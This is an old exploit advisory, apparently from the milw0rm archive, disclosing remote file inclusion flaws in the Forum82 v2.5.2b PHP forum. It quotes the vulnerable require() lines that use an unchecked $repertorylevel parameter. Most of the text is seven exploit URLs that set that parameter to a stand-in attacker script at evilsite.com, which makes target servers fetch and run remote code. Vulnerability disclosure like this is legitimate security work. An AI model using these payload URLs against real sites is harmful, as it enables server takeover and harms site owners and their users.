64 lines
No EOL
2.2 KiB
Text
64 lines
No EOL
2.2 KiB
Text
#==============================================================================================
|
|
#Forum82 <= v2.5.2b (repertorylevel) Multiple R.F.I. Vulnerabilities
|
|
#===============================================================================================
|
|
#
|
|
#Critical Level : Dangerous
|
|
#
|
|
#Script Dowload : http://www.comscripts.com/jump.php?action=script&id=805
|
|
#
|
|
#Version : v2.5.2b
|
|
#
|
|
#================================================================================================
|
|
#
|
|
#Bug in :
|
|
#
|
|
#almost all files are infected...
|
|
#================================================================================================
|
|
#
|
|
#Vulnerable Code :
|
|
#
|
|
# summary & example:
|
|
#
|
|
# require($repertorylevel.'include/tables.inc.'.$e);
|
|
# require($repertorylevel.'lang/lang.inc.'.$e);
|
|
# require($repertorylevel.'include/db/mysql.inc.'.$e);
|
|
#
|
|
#
|
|
#================================================================================================
|
|
#
|
|
#Exploit :
|
|
#--------------------------------
|
|
#
|
|
#http://sitename.com/[Forum82_Installed_DIR]/forum/search.php?repertorylevel=http://evilsite.com/evilscript.txt?
|
|
#
|
|
#http://sitename.com/[Forum82_Installed_DIR]/forum/message.php?repertorylevel=http://evilsite.com/evilscript.txt?
|
|
#
|
|
#http://sitename.com/[Forum82_Installed_DIR]/forum/member.php?repertorylevel=http://evilsite.com/evilscript.txt?
|
|
#
|
|
#http://sitename.com/[Forum82_Installed_DIR]/forum/mail.php?repertorylevel=http://evilsite.com/evilscript.txt?
|
|
#
|
|
#http://sitename.com/[Forum82_Installed_DIR]/forum/lostpassword.php?repertorylevel=http://evilsite.com/evilscript.txt?
|
|
#
|
|
#http://sitename.com/[Forum82_Installed_DIR]/forum/gesfil.php?repertorylevel=http://evilsite.com/evilscript.txt?
|
|
#
|
|
#http://sitename.com/[Forum82_Installed_DIR]/forum/forum82lib.php3?repertorylevel=http://evilsite.com/evilscript.txt?
|
|
#
|
|
#bla...bla...
|
|
#
|
|
#
|
|
#
|
|
#
|
|
# the script files's are installed as .php3 to website.take care that...
|
|
#
|
|
#================================================================================================
|
|
#Discoverd By : Silahsiz Kuvvetler
|
|
#
|
|
#
|
|
#Conatact : co-type[at]hotmail[dot]com
|
|
#
|
|
#GreetZ : FaTTaLGazI - NarcoTic - 0xyGen
|
|
#
|
|
#
|
|
#==================================================================================================
|
|
|
|
# milw0rm.com [2006-09-29] |